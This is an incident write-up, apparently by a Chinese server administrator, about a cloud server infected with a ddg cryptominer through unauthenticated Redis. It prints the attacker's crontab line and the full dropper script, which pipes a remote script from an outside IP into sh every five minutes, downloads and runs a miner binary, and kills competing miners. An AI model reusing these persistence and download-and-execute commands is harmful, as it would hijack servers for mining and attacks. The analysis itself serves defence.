情况概述:
服务器CPU长时间100%占用率,带宽用尽,服务器各种服务启动后自动关闭。阿里云提示有挖矿进程,提示发起DDOS攻击。
日志分析:
Oct 30 03:50:02 dsdsaa crond: sendmail: fatal: parameter inet_interfaces: no local interface found for ::1
Oct 30 03:55:01 dsdsaa systemd: Started Session 447 of user root.
Oct 30 03:55:01 dsdsaa systemd: Starting Session 447 of user root.
Oct 30 03:55:02 dsdsaa crond: sendmail: fatal: parameter inet_interfaces: no local interface found for ::1
每隔5分钟,系统会自动执行任务计划,而且有mail发送的程序。所以查看crondtabs –l下的所有任务计划,发现如下:
*/5 * * * * curl –fssl http://218.248.40.228:8443/i.sh?6 | sh
根据地址,果断下载下攻击脚本进行分析如下。
攻击代码分析:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
//重定义了系统全局变量
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root
//向ROOT用户添加任务计划,每5分钟自动从远程服务下载木马脚本并执行
mkdir -p /var/spool/cron/crontabs//创建计划任务目录,并写入执行脚本
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root
//如果没有找到/tmp/ddg.2011文件,则自动从远程服务器下载,并赋予执行权限
if [ ! -f "/tmp/ddg.2011" ]; then
curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
//下载对应该系统版本和cpu和木马程序(二进制文件)
fi
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011
#if [ ! -f "/tmp/ss2480.2" ]; then
#curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2
//查找以下进程并结束运行
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
//挖矿进程的守护进程,默认注释,需要时会自动结束木马进程。
#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
漏洞清理:
百度下,发现是由redis无验证漏洞引起的,作者认为redis一般运行在沙盒中,所以Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
修复建议:
自行百度。
到此入侵事件基本解决。建议大家布置相关服务时,首先了解其运行机制和安全规则,再行布置到服务器,或由网络管理员处理。